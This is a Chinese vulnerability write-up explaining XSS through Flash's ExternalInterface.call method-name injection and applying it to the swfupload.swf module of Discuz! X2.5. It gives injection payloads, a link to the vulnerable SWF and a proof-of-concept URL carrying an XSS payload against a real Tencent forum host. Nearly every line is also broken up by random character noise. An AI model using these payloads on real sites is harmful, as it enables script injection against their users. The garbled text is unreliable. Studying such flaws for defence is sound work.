上回我们说
7 s3 B9 E. s2 [. L3 ?' u
: r6 k# r9 q* Rflash.external.ExternalInterface.call($methodName, $parameter)
0 |7 D" e( A" R2 N5 v6 C在浏览器中执行的是
% j7 R2 c1 B: K, {* n/ ?; {) b, N3 |2 w
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
: J; o$ `- u$ d3 J. g对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
9 G) C; E2 W" J' l
0 o/ t: c5 p! g1 N* N7 F, fflash.external.ExternalInterface.call("object."+$methodName, $parameter)
2 W x" R* g4 \) N& L/ Y1 L; C$methodName = a())}catch(e){alert(/xss/)}//
3 h( n+ R; x! p; }结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。$ S- k# L4 ~0 u+ |6 ]7 [
. ]2 q# l/ p+ ~' a6 [5 v! ^; Y
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
2 q( h- s: O+ k6 _% o3 @8 l0 j. ~; a5 a
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS ). i# u' U( L: s* A: c$ a
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。7 Y; c# Y) X8 h( l
, s" `/ g$ P$ E2 H1 C( o* @* ^! f* A. L7 e3 X' ~, i
/ w- {; a. B/ Z, A, f) a9 F' a y& r漏洞文件:upload\static\image\common\swfupload.swf1 G4 z, q% w: C0 K' |$ T- F
5 z1 I, @' M3 f. V- n4 N& _4 n, R. l
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
. v4 P' d0 k% _4 w. E3 b2 y" ^1 _& j+ O+ l0 g" w) T6 D
7 }7 {+ Q. k/ @1 y, I* I漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//2 R- q7 q7 `1 n# b# y. J2 |$ c; E
5 G) J* a+ ~: B2 v$ I
8 o) A8 k7 v: D) j, `& |1 g |